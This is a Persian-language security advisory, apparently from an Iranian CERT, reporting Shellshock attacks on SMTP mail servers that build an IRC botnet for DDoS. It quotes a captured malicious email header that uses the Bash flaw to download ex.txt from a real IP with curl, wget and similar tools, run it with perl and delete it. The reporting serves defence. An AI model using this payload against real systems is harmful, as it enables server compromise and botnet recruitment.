تازه ترین اخبار

- انتشار به روز رسانی های فلش پلیر
- به روز رسانی ابزار ضد هک EMET ...
- کشف بدافزار WireLurker در سیستم های اپل
- بازگشت حملات ماکرو با بدافزار Dridex
- اصلاح آسیب پذیری های جدی در مسیریاب های ...

اطلاع رسانی

- اخبار
- راهنمای امنیتی
- امنیت در رایانه شما
- امنیت در گوشی های تلفن همراه
- پرسش و پاسخ
- سایتهای مرتبط

حمله به میل سرورها از طریق مشکل Shellshock

تاریخ انتشار: ۱۳۹۳/۰۸/۱۴ تعداد بازدید: ۵۸

گزارش ها نشان می دهد که مهاجمان با سوء استفاده از مشکل Shellshock حملاتی را علیه سرورهای SMTP راه اندازی کرده اند.

شماره: IRCNE۲۰۱۴۱۱۲۳۵۹
تاریخ: ۱۰/۰۸/۹۳

گزارش ها نشان می دهد که مهاجمان با سوء استفاده از مشکل Shellshock حملاتی را علیه سرورهای SMTP راه اندازی کرده اند.این کمپین به دنبال ایجاد یک بات نت IRC برای حملات انکار سرویس توزیع شده و سایر اهداف می باشد.

آسیب پذیری Shellshock حدود یک ماه پیش کشف شد و فورا به عنوان یک مشکل جدی معرفی شد. این مشکل به مدت ۲۰ سال در پوسته Bash قرار داشته است و به طور گسترده در پیکربندی ها مورد استفاده قرار گرفته است.

مثال زیر نمونه ای از این مشکل در سرور SMTP می باشد. تقریبا میل سرورها برای مدت های طولانی بدون تغییری در پیکربندی استفاده می شوند. در زیر مثالی از سوء استفاده از مشکل Shellshock در سرآیند یک ایمیل آورده شده است:

```
From: {:;, }, /bin/sh.-c.'cd/tmp, curl.-sO.178.254.31.165/ex.txt,
    lwp-download.http:;, //178.254.31.165/ex.txt, wget.178.254.31.165/ex.txt,
    fetch.178.254.31.165/ex.txt, perl.ex.txt,
    <rm.-fr.ex.*'.&@ourdomain.com>
```

CSO اعلام کرد سروری از سرورهای IRC را پیدا کرده اند که به عنوان میزبان بات ها مورد استفاده قرار می گیرد. در ۲۴ اکتبر حدود ۱۶۰ سرور به این سرور آسیب پذیر متصل شده است.

چاپ